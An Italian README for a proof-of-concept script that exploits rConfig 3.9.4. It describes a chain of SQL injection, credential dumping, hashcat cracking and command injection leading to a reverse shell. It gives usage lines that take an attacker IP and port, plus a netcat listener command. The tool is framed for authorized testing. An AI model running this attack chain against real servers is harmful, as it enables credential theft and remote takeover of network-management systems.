rConfig 3.9 PoC combinato di SQL Injection e Command Injection

Panoramica

Questo PoC prende di mira rConfig versione 3.9.4 e dimostra lo sfruttamento tramite una combinazione di vulnerabilità di SQL Injection e Remote Command Injection. Automatizza il processo di:

1. Estrazione del nome del database tramite SQLi
2. Dump delle credenziali utente dal database
3. Tentativo di decifrare gli hash delle password utilizzando hashcat con la wordlist rockyou e le regole best64.rules
4. Facoltativamente, esegue l'esecuzione remota di comandi (RCE) tramite command injection sulla funzionalità di ricerca, utilizzando le credenziali admin decifrate

Questo script è basato sulla combinazione di due PoC originali:

• 48208.py (SQL Injection) di vikingfr
• 48241.py (Command Injection) di Matthew Aberegg e Michael Burkey

È stato modificato per automatizzare il cracking e l'apertura facoltativa di una shell.

Requisiti

• Python 3
• libreria requests (pip install requests)
• hashcat installato e accessibile tramite riga di comando
• wordlist rockyou.txt (o equivalente) situata in /usr/share/wordlists/rockyou.txt
• file delle regole hashcat /usr/share/hashcat/rules/best64.rule

Utilizzo

Per eseguire il dump degli utenti e degli hash solamente:

python3 rConfig_rce.py https://target

Per eseguire il dump degli utenti, decifrare le password e tentare la RCE (richiede IP e porta dell'attaccante per una reverse shell):

python3 rConfig_rce.py https://target attacker_ip attacker_port

Note

• Se hashcat non riesce a decifrare la password, lo script suggerisce di utilizzare servizi di cracking online come CrackStation.
• Se l'hash della password non può essere decifrato automaticamente, verrà richiesto di inserire manualmente la password in chiaro per i tentativi di RCE.
• Lo script dà priorità all'uso dell'account admin per la fase di command injection.
• Assicurati di avere un listener (es. nc -lvnp 80) in esecuzione sulla tua macchina attaccante per catturare la reverse shell.

Disclaimer

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato contro sistemi senza permesso è illegale e non etico.